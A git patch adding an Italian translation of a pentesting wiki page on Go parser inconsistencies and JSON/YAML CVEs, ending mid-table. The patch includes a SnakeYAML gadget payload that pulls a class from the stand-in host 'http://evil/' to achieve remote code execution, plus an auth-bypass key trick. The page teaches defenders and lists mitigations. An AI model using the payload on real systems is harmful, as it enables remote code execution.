From 8a498531802d64726fa6866732e380d3579f826a Mon Sep 17 00:00:00 2001 From: Translator Date: Mon, 4 Aug 2025 20:32:48 +0000 Subject: [PATCH] Translated ['src/pentesting-web/json-xml-yaml-hacking.md'] to it --- src/pentesting-web/json-xml-yaml-hacking.md | 65 ++++++++++++++++----- 1 file changed, 51 insertions(+), 14 deletions(-) diff --git a/src/pentesting-web/json-xml-yaml-hacking.md b/src/pentesting-web/json-xml-yaml-hacking.md index 9b3db3b85..d0ff48262 100644 --- a/src/pentesting-web/json-xml-yaml-hacking.md +++ b/src/pentesting-web/json-xml-yaml-hacking.md @@ -6,7 +6,8 @@ I seguenti problemi sono stati rilevati nel Go JSON anche se potrebbero essere presenti in altre lingue. Questi problemi sono stati pubblicati in [**questo post del blog**](https://blog.trailofbits.com/2025/06/17/unexpected-security-footguns-in-gos-parsers/). -I parser JSON, XML e YAML di Go hanno una lunga serie di incoerenze e impostazioni predefinite insicure che possono essere sfruttate per **bypassare l'autenticazione**, **escalare privilegi** o **esfiltrare dati sensibili**. +I parser JSON, XML e YAML di Go hanno una lunga serie di incoerenze e impostazioni predefinite insicure che possono essere sfruttate per **bypassare l'autenticazione**, **escalare i privilegi** o **esfiltrare dati sensibili**. + ### (Un)Marshaling Unexpected Data @@ -73,7 +74,7 @@ Anche i trucchi Unicode funzionano: ```go json.Unmarshal([]byte(`{"aKtionſ": "bypass"}`), &req) ``` -**3. Mismatch tra servizi:** +**3. Disallineamento tra servizi:** Immagina: - Proxy scritto in Go - Servizio AuthZ scritto in Python @@ -108,21 +109,57 @@ Il parser XML di Go lo ha analizzato **comunque** e ha fidato l'identità iniett "ignored": "Action_3" } ``` -Risultato: -- **Go JSON** parser: `Action_2` (non sensibile al maiuscolo + ultimo vince) -- **YAML** parser: `Action_1` (sensibile al maiuscolo) -- **XML** parser: analizza `"Action_3"` all'interno della stringa +- **Go JSON** parser: `Action_2` (case-insensitive + last wins) +- **YAML** parser: `Action_1` (case-sensitive) +- **XML** parser: parses `"Action_3"` inside the string +--- -### 🔐 Mitigazioni +## Vulnerabilità Notabili dei Parser (2023-2025) -| Rischio | Soluzione | -|-----------------------------|---------------------------------------| -| Campi sconosciuti | `decoder.DisallowUnknownFields()` | -| Campi duplicati (JSON) | ❌ Nessuna soluzione nella stdlib | -| Corrispondenza non sensibile al maiuscolo | ❌ Nessuna soluzione nella stdlib | -| Dati spazzatura XML | ❌ Nessuna soluzione nella stdlib | -| YAML: chiavi sconosciute | `yaml.KnownFields(true)` | +> I seguenti problemi pubblicamente sfruttabili mostrano che il parsing insicuro è un problema multi-linguaggio — non solo un problema di Go. +### RCE da Deserializzazione SnakeYAML (CVE-2022-1471) + +* Colpisce: `org.yaml:snakeyaml` < **2.0** (utilizzato da Spring-Boot, Jenkins, ecc.). +* Causa principale: `new Constructor()` deserializza **classi Java arbitrarie**, consentendo catene di gadget che culminano nell'esecuzione di codice remoto. +* One-liner PoC (aprirà la calcolatrice sull'host vulnerabile): +```yaml +!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://evil/"] ] ] ] +``` +* Correzione / Mitigazione: +1. **Aggiorna a ≥2.0** (usa `SafeLoader` per impostazione predefinita). +2. Nelle versioni precedenti, usa esplicitamente `new Yaml(new SafeConstructor())`. + +### libyaml Double-Free (CVE-2024-35325) + +* Riguarda: `libyaml` ≤0.2.5 (libreria C sfruttata da molti binding di linguaggi). +* Problema: Chiamare `yaml_event_delete()` due volte porta a un double-free che gli attaccanti possono trasformare in DoS o, in alcuni scenari, sfruttamento dell'heap. +* Stato: Rifiutato upstream come “uso improprio dell'API”, ma le distribuzioni Linux hanno fornito una patch **0.2.6** che annulla difensivamente il puntatore. + +### RapidJSON Integer (Under|Over)-flow (CVE-2024-38517 / CVE-2024-39684) + +* Riguarda: Tencent **RapidJSON** prima del commit `8269bc2` (<1.1.0-patch-22). +* Bug: In `GenericReader::ParseNumber()` l'aritmetica non controllata consente agli attaccanti di creare enormi letterali numerici che si avvolgono e corrompono l'heap — abilitando infine l'escalation dei privilegi quando il grafo degli oggetti risultante viene utilizzato per decisioni di autorizzazione. + +--- + +### 🔐 Mitigazioni (Aggiornato) + +| Rischio | Correzione / Raccomandazione | +|-------------------------------------|-------------------------------------------------------------| +| Campi sconosciuti (JSON) | `decoder.DisallowUnknownFields()` | +| Campi duplicati (JSON) | ❌ Nessuna correzione nella stdlib — valida con [`jsoncheck`](https://github.com/dvsekhvalnov/johnny-five) | +| Corrispondenza case-insensitive (Go)| ❌ Nessuna correzione — valida i tag della struct + pre-canonicalizza l'input | +| Dati spazzatura XML / XXE | Usa un parser rinforzato (`encoding/xml` + `DisallowDTD`) | +| Chiavi sconosciute YAML | `yaml.KnownFields(true)` | +| **Deserializzazione YAML non sicura**| Usa SafeConstructor / aggiorna a SnakeYAML ≥2.0 | +| libyaml ≤0.2.5 double-free | Aggiorna a **0.2.6** o a una release patchata dalla distro | +| RapidJSON